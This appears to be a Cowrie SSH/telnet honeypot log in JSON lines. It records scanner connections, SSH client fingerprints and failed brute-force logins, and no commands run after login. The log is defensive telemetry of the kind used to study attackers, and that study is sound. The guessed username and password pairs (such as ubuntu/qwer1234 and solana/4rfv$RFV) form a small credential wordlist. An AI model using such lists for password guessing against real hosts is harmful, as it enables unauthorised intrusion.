{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:10:27.988709Z","src_ip":"2.57.122.208","session":"cd9bf2e30f04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:10:28.473909Z","src_ip":"2.57.122.208","session":"cd9bf2e30f04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:10:29.611659Z","src_ip":"2.57.122.208","session":"cd9bf2e30f04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.37.83.79","src_port":41954,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b984a5bd59a","protocol":"telnet","message":"New connection: 101.37.83.79:41954 (159.203.135.109:23) [session: 1b984a5bd59a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:10:33.915864Z"}
{"eventid":"cowrie.session.closed","duration":32.59297204017639,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:11:06.508718Z","src_ip":"101.37.83.79","session":"1b984a5bd59a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":45172,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a7c2a2b6baa","protocol":"ssh","message":"New connection: 2.57.122.208:45172 (159.203.135.109:22) [session: 7a7c2a2b6baa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:12:07.028920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:12:07.123371Z","src_ip":"2.57.122.208","session":"7a7c2a2b6baa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:12:07.202347Z","src_ip":"2.57.122.208","session":"7a7c2a2b6baa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:12:07.715447Z","src_ip":"2.57.122.208","session":"7a7c2a2b6baa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:12:09.010854Z","src_ip":"2.57.122.208","session":"7a7c2a2b6baa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":42588,"dst_ip":"159.203.135.109","dst_port":22,"session":"27ee525c2ec1","protocol":"ssh","message":"New connection: 2.57.122.96:42588 (159.203.135.109:22) [session: 27ee525c2ec1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:12:20.009515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:12:20.056271Z","src_ip":"2.57.122.96","session":"27ee525c2ec1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:12:20.218361Z","src_ip":"2.57.122.96","session":"27ee525c2ec1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"4rfv$RFV","message":"login attempt [solana/4rfv$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:12:20.637825Z","src_ip":"2.57.122.96","session":"27ee525c2ec1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:12:21.740122Z","src_ip":"2.57.122.96","session":"27ee525c2ec1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":42766,"dst_ip":"10.17.0.5","dst_port":22,"session":"b28cd6fc99f0","protocol":"ssh","message":"New connection: 2.57.122.208:42766 (10.17.0.5:22) [session: b28cd6fc99f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:12:41.014112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:12:41.034407Z","src_ip":"2.57.122.208","session":"b28cd6fc99f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:12:41.138641Z","src_ip":"2.57.122.208","session":"b28cd6fc99f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:12:41.548613Z","src_ip":"2.57.122.208","session":"b28cd6fc99f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:12:42.735952Z","src_ip":"2.57.122.208","session":"b28cd6fc99f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":39240,"dst_ip":"159.203.135.109","dst_port":22,"session":"7865252f217d","protocol":"ssh","message":"New connection: 2.57.122.208:39240 (159.203.135.109:22) [session: 7865252f217d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:14:17.272555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:14:17.277247Z","src_ip":"2.57.122.208","session":"7865252f217d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:14:17.387558Z","src_ip":"2.57.122.208","session":"7865252f217d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:14:17.701116Z","src_ip":"2.57.122.208","session":"7865252f217d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:14:18.821271Z","src_ip":"2.57.122.208","session":"7865252f217d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.30.211","src_port":42898,"dst_ip":"159.203.135.109","dst_port":22,"session":"dbf0d0516931","protocol":"ssh","message":"New connection: 159.65.30.211:42898 (159.203.135.109:22) [session: dbf0d0516931]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:14:33.606374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:14:33.610111Z","src_ip":"159.65.30.211","session":"dbf0d0516931","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:14:33.682114Z","src_ip":"159.65.30.211","session":"dbf0d0516931","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"auroracoin","password":"auroracoin!","message":"login attempt [auroracoin/auroracoin!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:14:33.828692Z","src_ip":"159.65.30.211","session":"dbf0d0516931","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:14:34.902497Z","src_ip":"159.65.30.211","session":"dbf0d0516931","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":54386,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f5a97706e37","protocol":"ssh","message":"New connection: 2.57.122.208:54386 (10.17.0.5:22) [session: 1f5a97706e37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:14:49.926371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:14:50.090650Z","src_ip":"2.57.122.208","session":"1f5a97706e37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:14:50.095077Z","src_ip":"2.57.122.208","session":"1f5a97706e37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:14:51.111306Z","src_ip":"2.57.122.208","session":"1f5a97706e37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:14:52.216391Z","src_ip":"2.57.122.208","session":"1f5a97706e37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.75.137.141","src_port":51208,"dst_ip":"159.203.135.109","dst_port":22,"session":"0efa02fe0154","protocol":"ssh","message":"New connection: 5.75.137.141:51208 (159.203.135.109:22) [session: 0efa02fe0154]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:14:57.652589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:14:57.658171Z","src_ip":"5.75.137.141","session":"0efa02fe0154","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:14:57.752377Z","src_ip":"5.75.137.141","session":"0efa02fe0154","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sushi","password":"Sushi","message":"login attempt [sushi/Sushi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:14:57.939871Z","src_ip":"5.75.137.141","session":"0efa02fe0154","protocol":"ssh"}
